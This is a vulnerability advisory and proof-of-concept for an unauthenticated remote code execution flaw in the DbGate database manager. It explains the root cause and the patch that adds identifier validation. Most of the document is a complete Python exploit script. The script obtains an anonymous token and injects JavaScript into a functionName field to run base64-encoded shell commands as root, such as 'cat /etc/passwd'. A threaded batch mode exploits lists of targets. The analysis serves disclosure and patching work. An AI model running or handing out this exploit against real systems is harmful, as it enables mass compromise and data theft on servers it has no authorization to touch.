#Summary

CVE-2026-47668 is a critical unauthenticated remote code execution vulnerability in DbGate, a cross-platform database manager. The JSON script runner (POST /runners/start) transpiles attacker-supplied JSON into JavaScript source code via raw string concatenation, allowing server-side code injection. By injecting JavaScript into the functionName parameter of an assign command, attackers bypass the permission gates that protect the raw JavaScript branch and execute arbitrary shell commands as the DbGate process user (root in the official Docker image). This vulnerability scores CVSS 10.0 CRITICAL and requires no authentication in default deployments.

Affected versions: DbGate <= 7.1.8. Fixed in 7.1.9.

#Affected versions

Default configuration is affected - no special environment variables are required for exploitation.

#Root cause analysis

#The vulnerability chain

DbGate can execute "scripts" in a forked Node.js child process. It accepts declarative JSON scripts ({"type":"json","commands":[...]}) which the server transpiles into JavaScript source text and then executes. This transpilation uses string concatenation without validating that attacker-supplied identifiers are actually valid JavaScript identifiers.

Three functions form the injection chain:

#Vulnerable code path

1. compileShellApiFunctionName - packages/tools/src/packageTools.ts (v7.1.8)

export function compileShellApiFunctionName(functionName) {
  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
  if (nsMatch) {
    return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
  }
  return `dbgateApi.${functionName}`;
}

No validation whatsoever. Any string without an @ is pasted directly after dbgateApi. and returned as JavaScript source code.

2. ScriptWriterJavaScript.assignCore - packages/tools/src/ScriptWriter.ts (v7.1.8)

assignCore(variableName, functionName, props) {
  this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}

assign(variableName, functionName, props) {
  this.assignCore(variableName, compileShellApiFunctionName(functionName), props);
  this.packageNames.push(...extractShellApiPlugins(functionName, props));
}

The critical asymmetry: props is escaped with JSON.stringify, but variableName and functionName are interpolated raw into the source code. Both come directly from the attacker's JSON request body via playJsonCommand.

3. runners.start - packages/api/src/controllers/runners.js (v7.1.8)

start_meta: true,
async start({ script }, req) {
  const runid = crypto.randomUUID();

  if (script.type == 'json') {
    if (!platformInfo.isElectron) {
      if (!checkSecureDirectoriesInScript(script)) {
        return { errorMessage: 'DBGM-00284 Unallowed directories in script' };
      }
    }

    logJsonRunnerScript(req, script);

    const js = await jsonScriptToJavascript(script);
    return this.startCore(runid, scriptTemplate(js, false));
  }

  await testStandardPermission('run-shell-script', req);

  if (!platformInfo.allowShellScripting) {
    return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };
  }
  // ... raw JavaScript execution branch
}

This reveals the CWE-1188 (insecure default) that pushes the score to 10.0. The raw JavaScript branch is double-gated: testStandardPermission('run-shell-script') and platformInfo.allowShellScripting. The official Docker entrypoint (node bundle.js --listen-api) sets listenApiChild to true, which leaves allowShellScripting false. The JSON branch has neither gate because declarative JSON was assumed to be a safe, sandboxed format.

#How input reaches the sink

  1. Attacker calls /auth/login with {"amoid":"none"}. With no LOGIN/PASSWORD/OAUTH_*/AD_* environment variables set (the default), createEnvAuthProvider() returns the anonymous AuthProviderBase, whose login() signs a JWT unconditionally.

  2. Attacker posts a JSON script to /runners/start with an assign command whose functionName contains JavaScript code:

{
  "script": {
    "type": "json",
    "packageNames": [],
    "commands": [{
      "type": "assign",
      "variableName": "x",
      "functionName": "x;process.mainModule.require('child_process').execSync('id > out.txt 2>&1');//",
      "props": {}
    }]
  }
}
  1. jsonScriptToJavascript and playJsonCommand pass the untrusted functionName directly to compileShellApiFunctionName, which returns:
dbgateApi.x;process.mainModule.require('child_process').execSync('id > out.txt 2>&1');//
  1. ScriptWriterJavaScript.assignCore interpolates this into a statement:
const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('id > out.txt 2>&1');//({});
  1. The generated JavaScript is written to disk and forked with the full Node.js runtime. The require=null; line in scriptTemplate is the only sandbox-like mitigation, but it is bypassed in one token: process.mainModule.require('child_process') retrieves the CommonJS module object that still holds a live require.

#Patch diff

#What the fix does

The patch introduces input validation: attacker-controlled strings must be valid JavaScript identifiers before being allowed near generated source code.

New validators in packages/tools/src/packageTools.ts (commit 9c97e347c56c):

+const JS_IDENTIFIER_RE = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;
+
+export function isValidJsIdentifier(name: string): boolean {
+  return typeof name === 'string' && JS_IDENTIFIER_RE.test(name);
+}
+
+export function assertValidJsIdentifier(name: string, label: string): void {
+  if (!isValidJsIdentifier(name)) {
+    throw new Error(`DBGM-00000 Invalid ${label}: ${String(name).substring(0, 100)}`);
+  }
+}
+
+export function assertValidShellApiFunctionName(functionName: string): void {
+  if (typeof functionName !== 'string') {
+    throw new Error('DBGM-00000 functionName must be a string');
+  }
+  const nsMatch = functionName.match(/^([^@]+)@([^@]+)$/);
+  if (nsMatch) {
+    if (!isValidJsIdentifier(nsMatch[1])) {
+      throw new Error(`DBGM-00000 Invalid function part in functionName: ${nsMatch[1].substring(0, 100)}`);
+    }
+    if (!/^dbgate-plugin-[a-zA-Z0-9_-]+$/.test(nsMatch[2])) {
+      throw new Error(`DBGM-00000 Invalid plugin package in functionName: ${nsMatch[2].substring(0, 100)}`);
+    }
+  } else {
+    if (!isValidJsIdentifier(functionName)) {
+      throw new Error(`DBGM-00000 Invalid functionName: ${functionName.substring(0, 100)}`);
+    }
+  }
+}

The ; and / characters in the payload fail JS_IDENTIFIER_RE validation, causing assertValidShellApiFunctionName to throw before any source is generated.

Validation wired into the compile path:

 export function compileShellApiFunctionName(functionName) {
-  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
+  assertValidShellApiFunctionName(functionName);
+  const nsMatch = functionName.match(/^([^@]+)@([^@]+)$/);
   if (nsMatch) {

Two changes here: the new assert blocks the payload, and the added $ anchor closes a bypass where a@dbgate-plugin-x@;CODE// would satisfy a prefix-only match while smuggling trailing code.

#Proof of concept

#exploit.py - DbGate Unauthenticated RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-47668 - DbGate unauthenticated RCE via JSON script runner code injection
Affected: DbGate <= 7.1.8 (dbgate-serve / dbgate/dbgate Docker image). Fixed in 7.1.9.
Type: RCE (server-side JavaScript code injection -> OS command execution)

Root cause:
  DbGate's JSON script runner (POST /runners/start) transpiles a declarative JSON
  script into JavaScript source with raw string concatenation. The `functionName`
  of an `assign` command is pasted straight after `dbgateApi.` with no validation
  (compileShellApiFunctionName). A value shaped like
      x;<INJECTED JS>;//
  terminates the intended member expression, runs arbitrary JS, and comments out
  the trailing call the writer appends. The generated file is forked with a full
  Node.js runtime as root. The JSON branch skips the run-shell-script permission
  and the allowShellScripting gate that protect the raw-JS branch, and the default
  anonymous auth provider hands out a JWT to anyone, so no credentials are needed.

Evidence channel (fully in-band, no egress required):
  The child forks with cwd = <rundir>/<runid>, and main.js serves that directory
  statically at /runners/data/<runid>/. Redirect command output into a relative
  file (out.txt) and read it back over HTTP.

Usage:
  python exploit.py --host 127.0.0.1 --port 13008
  python exploit.py --host 127.0.0.1 --port 13008 --command "cat /etc/passwd"
  python exploit.py --host https://dbgate.corp.com
  python exploit.py --host https://dbgate.corp.com:8443/dbgate --command "id"
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import base64
import json
import sys
import time
import uuid
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("This exploit requires the 'requests' library: pip install requests")
    sys.exit(2)

CVE_ID    = "CVE-2026-47668"
VULN_TYPE = "RCE"

DEFAULT_PORT = 3000
HTTP_TIMEOUT = 15
POLL_SECONDS = 6


# --------------------------------------------------------------------------- #
#  Standard ALIM output helpers                                               #
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  Core exploit logic (shared by single-target and scan mode)                 #
# --------------------------------------------------------------------------- #
def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    scheme = "https" if use_tls else "http"
    base = f"{scheme}://{host}:{port}"
    prefix = path.rstrip("/")
    if prefix in ("", "/"):
        return base
    if not prefix.startswith("/"):
        prefix = "/" + prefix
    return base + prefix


def _login(sess: requests.Session, base: str) -> str:
    """
    Obtain a Bearer token from the default anonymous auth provider.
    POST /auth/login {"amoid":"none"} -> {"accessToken":"..."}.
    Returns "" when the instance is not using the anonymous provider or when
    auth is disabled entirely (in which case no token is needed).
    """
    try:
        r = sess.post(f"{base}/auth/login",
                      json={"amoid": "none"},
                      timeout=HTTP_TIMEOUT, verify=False)
    except requests.RequestException:
        return ""
    try:
        data = r.json()
    except ValueError:
        return ""
    # Handle several documented response shapes.
    for key in ("accessToken", "access_token", "token"):
        if isinstance(data, dict) and data.get(key):
            return str(data[key])
    if isinstance(data, dict):
        inner = data.get("data") or data.get("result")
        if isinstance(inner, dict):
            for key in ("accessToken", "access_token", "token"):
                if inner.get(key):
                    return str(inner[key])
    return ""


def _build_body(command: str) -> dict:
    """
    Build the JSON-script request body. The shell command is base64-encoded and
    decoded target-side, which removes all quote-escaping concerns. Output is
    redirected into the run directory's out.txt so it is retrievable over HTTP.
    """
    b64 = base64.b64encode(command.encode()).decode()
    node_js = (
        "process.mainModule.require('child_process')"
        ".execSync(\"echo %s|base64 -d|sh > out.txt 2>&1\")" % b64
    )
    function_name = "x;%s;//" % node_js
    return {
        "script": {
            "type": "json",
            "packageNames": [],
            "commands": [
                {
                    "type": "assign",
                    "variableName": "x",
                    "functionName": function_name,
                    "props": {},
                }
            ],
        }
    }


def _auth_headers(token: str) -> dict:
    return {"Authorization": f"Bearer {token}"} if token else {}


def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                 command: str = "id") -> tuple:
    """
    Silent probe for --list scan mode. Returns (success, evidence).
    Never prints and never calls sys.exit().
    """
    base = _base_url(host, port, use_tls, path)
    sess = requests.Session()
    marker = uuid.uuid4().hex[:12]
    probe_cmd = "%s; echo MK_%s" % (command, marker)
    try:
        token = _login(sess, base)
        body = _build_body(probe_cmd)
        r = sess.post(f"{base}/runners/start", json=body,
                      headers=_auth_headers(token),
                      timeout=HTTP_TIMEOUT, verify=False)
        if r.status_code == 500 and "Invalid functionName" in r.text:
            return False, "blocked - Invalid functionName (patched 7.1.9+)"
        if r.status_code == 401:
            return False, "auth required - anonymous provider disabled"
        try:
            runid = r.json().get("runid")
        except ValueError:
            runid = None
        if not runid:
            snippet = r.text[:120].replace("\n", " ")
            return False, f"no runid (HTTP {r.status_code}): {snippet}"

        deadline = time.time() + POLL_SECONDS
        while time.time() < deadline:
            g = sess.get(f"{base}/runners/data/{runid}/out.txt",
                         headers=_auth_headers(token),
                         timeout=HTTP_TIMEOUT, verify=False)
            if g.status_code == 200 and ("MK_%s" % marker) in g.text:
                out = g.text.strip().splitlines()
                first = out[0] if out else ""
                return True, f"RCE - '{command}' -> {first[:80]}"
            time.sleep(0.5)
        return False, f"payload dispatched (runid {runid}) but no output - may not have executed"
    except requests.RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"


# --------------------------------------------------------------------------- #
#  Single-target verbose exploit                                              #
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str, command: str) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    sess = requests.Session()

    step(1, "Confirming the auth middleware is active (POST /runners/start, no token)...")
    try:
        pre = sess.post(f"{base}/runners/start", json={"script": {"type": "json", "commands": []}},
                        timeout=HTTP_TIMEOUT, verify=False)
        section("UNAUTHENTICATED PROBE", f"HTTP {pre.status_code}: {pre.text[:120]}")
    except requests.RequestException as e:
        done(False, f"target unreachable at {base} ({e.__class__.__name__})")

    step(2, "Requesting a Bearer token from the anonymous auth provider...")
    token = _login(sess, base)
    if token:
        section("ACCESS TOKEN", token[:48] + "..." if len(token) > 48 else token)
    else:
        print("    No token from /auth/login - continuing unauthenticated "
              "(instance may run with auth disabled).")

    step(3, "Sending the malicious JSON script (functionName code injection)...")
    marker = uuid.uuid4().hex[:12]
    probe_cmd = "%s; echo MK_%s" % (command, marker)
    body = _build_body(probe_cmd)
    section("INJECTED functionName", body["script"]["commands"][0]["functionName"])
    try:
        r = sess.post(f"{base}/runners/start", json=body,
                      headers=_auth_headers(token),
                      timeout=HTTP_TIMEOUT, verify=False)
    except requests.RequestException as e:
        done(False, f"request to /runners/start failed ({e.__class__.__name__})")

    if r.status_code == 500 and "Invalid functionName" in r.text:
        section("SERVER RESPONSE", r.text)
        done(False, "Payload rejected by assertValidShellApiFunctionName - target is patched (>= 7.1.9)")
    if r.status_code == 401:
        section("SERVER RESPONSE", r.text)
        done(False, "401 - anonymous auth provider disabled; supply valid credentials")

    try:
        runid = r.json().get("runid")
    except ValueError:
        runid = None
    if not runid:
        section("SERVER RESPONSE", r.text)
        done(False, f"No runid returned (HTTP {r.status_code}) - payload not accepted")
    section("RUNNER DISPATCHED", f"runid = {runid}")

    step(4, f"Reading command output from /runners/data/{runid}/out.txt ...")
    deadline = time.time() + POLL_SECONDS
    output = None
    while time.time() < deadline:
        g = sess.get(f"{base}/runners/data/{runid}/out.txt",
                     headers=_auth_headers(token),
                     timeout=HTTP_TIMEOUT, verify=False)
        if g.status_code == 200 and ("MK_%s" % marker) in g.text:
            output = g.text
            break
        time.sleep(0.5)

    if output is None:
        done(False, f"Payload dispatched (runid {runid}) but no output appeared - "
                    "target may be patched or the command produced no file")

    cleaned = "\n".join(l for l in output.splitlines() if ("MK_%s" % marker) not in l).strip()
    section("COMMAND OUTPUT", cleaned if cleaned else output.strip())
    first_line = cleaned.splitlines()[0] if cleaned.splitlines() else output.strip()
    done(True, f"RCE confirmed - command '{command}' output: {first_line[:120]}")


# --------------------------------------------------------------------------- #
#  Scan mode (--list)                                                         #
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """Parse one target line into (host, port, use_tls, path). None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line and not line.count(":") > 1:  # host:port (skip bare IPv6)
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int, command: str) -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{path if path != '/' else ''}"
        ok, evidence = _try_exploit(host, port, use_tls, path, command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
#  Entry point                                                                #
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - DbGate unauthenticated RCE")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/path)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
    parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
    else:
        parsed = _parse_target(args.host, args.port)
        if parsed:
            host, port, use_tls, path = parsed
        else:
            host, port, use_tls, path = args.host, args.port, False, "/"
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.command)

#Usage

# Single target, default port 3000
python3 exploit.py --host 127.0.0.1

# Custom port and command
python3 exploit.py --host 127.0.0.1 --port 3000 --command "cat /etc/passwd"

# Full URL with TLS
python3 exploit.py --host https://dbgate.corp.com --command "id"

# Force protocol
python3 exploit.py --host dbgate.corp.com --port 3000 --no-tls

#Expected output (vulnerable target)

============================================================
  ALIM EXPLOIT  CVE-2026-47668
  Type: RCE  |  Target: 127.0.0.1:13008
============================================================

[STEP 1] Confirming the auth middleware is active (POST /runners/start, no token)...

--- UNAUTHENTICATED PROBE ---
HTTP 401: missing authorization header
---

[STEP 2] Requesting a Bearer token from the anonymous auth provider...

--- ACCESS TOKEN ---
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI...
---

[STEP 3] Sending the malicious JSON script (functionName code injection)...

--- INJECTED functionName ---
x;process.mainModule.require('child_process').execSync("echo aWQ7IGVjaG8gQUxJTV8zYThiN2MxMGY2ZGY=|base64 -d|sh > out.txt 2>&1");//
---

--- RUNNER DISPATCHED ---
runid = 87e14f10-20ec-4b4d-88e9-87ffd8306f1a
---

[STEP 4] Reading command output from /runners/data/87e14f10-.../out.txt ...

--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id' output: uid=0(root) gid=0(root) groups=0(root)
============================================================

#Expected output (patched target - 7.1.9+)

--- SERVER RESPONSE ---
{"apiErrorMessage":"DBGM-00000 Invalid functionName: x;process.mainModule.require..."}
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: Payload rejected by assertValidShellApiFunctionName - target is patched (>= 7.1.9)
============================================================

#Exploitation notes

#Preconditions

#Reliability

Highly reliable. Single-stage server-side code injection with no memory dependencies, ASLR, or race conditions. The injected JavaScript is compiled and executed in a fresh forked process for each request. Success indicators are network-observable and deterministic.

#Impact

#Chaining potential

This RCE is terminal - no further chaining is needed. From the DbGate process with root privileges, an attacker can:

#Important notes

#References